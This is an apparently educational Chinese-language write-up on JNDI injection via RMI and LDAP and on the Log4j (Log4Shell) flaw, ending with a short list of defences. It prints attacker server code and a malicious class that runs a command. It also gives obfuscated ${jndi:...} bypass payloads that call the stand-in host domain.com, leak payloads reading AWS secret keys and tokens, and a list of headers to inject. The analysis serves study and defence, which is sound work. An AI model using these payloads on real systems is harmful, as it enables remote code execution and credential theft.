从JNDI到log4j
字数 803 2025-08-29 08:31:54
JNDI注入与Log4j漏洞深入解析
1. JNDI基础
1.1 JNDI核心类
InitialContext类 - JNDI的入口点,用于建立初始上下文环境:
// 构造方法
InitialContext() // 构建一个初始上下文
InitialContext(boolean lazy) // 构造初始上下文但不初始化
InitialContext(Hashtable<?,?> environment) // 使用提供的环境构建初始上下文
// 常用方法
bind(Name name, Object obj) // 将名称绑定到对象
list(String name) // 枚举绑定的名称及对象类名
lookup(String name) // 检索命名对象
rebind(String name, Object obj) // 绑定名称到对象,覆盖现有绑定
unbind(String name) // 取消绑定命名对象
Reference类 - 表示对命名/目录系统外部对象的引用:
// 构造方法
Reference(String className) // 为指定类名构造新引用
Reference(String className, RefAddr addr) // 为类名和地址构造新引用
Reference(String className, RefAddr addr, String factory, String factoryLocation)
Reference(String className, String factory, String factoryLocation)
// 示例
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
/*
参数1: className - 远程加载时使用的类名
参数2: classFactory - 需要实例化的类名
参数3: classFactoryLocation - 提供classes数据的地址(file/ftp/http协议)
*/
2. JNDI注入攻击
2.1 JNDI+RMI攻击
攻击流程:
- 攻击者搭建RMI服务端,绑定恶意Reference对象
- 受害者通过JNDI lookup触发恶意代码加载
服务端代码(攻击者):
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
客户端代码(受害者):
// 高版本JDK需要设置信任远程代码
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
恶意类:
public class Calc implements ObjectFactory {
public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> env) throws Exception {
Runtime.getRuntime().exec("calc");
return null;
}
}
2.2 JNDI+LDAP攻击
服务端代码(攻击者):
int port = 7777;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
客户端代码(受害者):
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
String url = "ldap://127.0.0.1:7777/Calc";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
3. Log4j漏洞分析
3.1 漏洞成因
Log4j支持JNDI查找功能,当日志中包含${jndi:...}格式的字符串时,会触发JNDI查找,从而间接触发RMI/LDAP漏洞。
漏洞触发示例:
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
logger.error("${jndi:rmi://127.0.0.1:1099/hello}");
}
3.2 调用链分析
Interpolator.lookup() → StrSubstitutor.resolveVariable() →
StrSubstitutor.substitute() → StrSubstitutor.replace() →
MessagePatternConverter.format() → PatternFormatter.format() →
PatternLayout$PatternSerializer.toSerializable() →
PatternLayout.toText() → PatternLayout.encode() →
AbstractOutputStreamAppender.directEncodeEvent() →
AbstractOutputStreamAppender.tryAppend() →
AbstractOutputStreamAppender.append() →
AppenderControl.tryCallAppender() →
LoggerConfig.callAppenders() →
LoggerConfig.processLogEvent() →
LoggerConfig.log() →
DefaultReliabilityStrategy.log() →
Logger.log() →
AbstractLogger.tryLogMessage() →
AbstractLogger.logMessageTrackRecursion() →
AbstractLogger.logMessageSafely() →
AbstractLogger.logMessage() →
AbstractLogger.logIfEnabled() →
AbstractLogger.error()
3.3 绕过Payload
${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:jn${date:}di${date:':'}j${k8s:k5:-ND}i${sd:k5:-:}j${main:\k5:-Nd}i${spring:k5:-:}j${sys:k5:-nD}${lower:i${web:k5:-:}}j${::-nD}i${::-:}j${EnV:K5:-nD}i:j${loWer:Nd}i${uPper::}
3.4 信息泄露Payload
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
3.5 Log4j记录的请求头
Log4j会记录以下请求头信息:
Accept-Charset, Accept-Datetime, Accept-Encoding, Accept-Language,
Authorization, Cache-Control, Cf-Connecting_ip, Client-Ip, Contact,
Cookie, DNT, Forwarded, Forwarded-For, Forwarded-For-Ip,
Forwarded-Proto, From, If-Modified-Since, Max-Forwards, Origin,
Originating-Ip, Pragma, Referer, TE, True-Client-IP, True-Client-Ip,
Upgrade, User-Agent, Via, Warning, X-ATT-DeviceId, X-Api-Version,
X-Att-Deviceid, X-CSRFToken, X-Client-Ip, X-Correlation-ID,
X-Csrf-Token, X-Do-Not-Track, X-Foo, X-Foo-Bar, X-Forward-For,
X-Forward-Proto, X-Forwarded, X-Forwarded-By, X-Forwarded-For,
X-Forwarded-For-Original, X-Forwarded-Host, X-Forwarded-Port,
X-Forwarded-Proto, X-Forwarded-Protocol, X-Forwarded-Scheme,
X-Forwarded-Server, X-Forwarded-Ssl, X-Forwarder-For, X-Frame-Options,
X-From, X-Geoip-Country, X-HTTP-Method-Override, X-Http-Destinationurl,
X-Http-Host-Override, X-Http-Method, X-Http-Method-Override,
X-Http-Path-Override, X-Https, X-Htx-Agent, X-Hub-Signature,
X-If-Unmodified-Since, X-Imbo-Test-Config, X-Insight, X-Ip, X-Ip-Trail,
X-Leakix, X-Originating-Ip, X-ProxyUser-Ip, X-Real-Ip, X-Remote-Addr,
X-Remote-Ip, X-Request-ID, X-Requested-With, X-UIDH, X-Wap-Profile,
X-XSRF-TOKEN, Authorization: Basic, Authorization: Bearer,
Authorization: Oauth, Authorization: Token
4. 防御措施
- 升级Log4j:使用2.17.0及以上版本
- 禁用JNDI查找:设置
log4j2.formatMsgNoLookups=true - 限制网络访问:限制应用服务器出站流量
- JDK防护:
- 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 设置
com.sun.jndi.ldap.object.trustURLCodebase=false
- 设置
- 输入过滤:对用户输入进行严格过滤,防止恶意字符串注入
5. 总结
JNDI注入漏洞通过RMI/LDAP协议实现远程代码执行,而Log4j漏洞则通过日志记录功能间接触发了JNDI注入。攻击者可以利用这些漏洞实现远程命令执行、信息泄露等恶意操作。理解这些漏洞的原理和利用方式对于安全防护至关重要。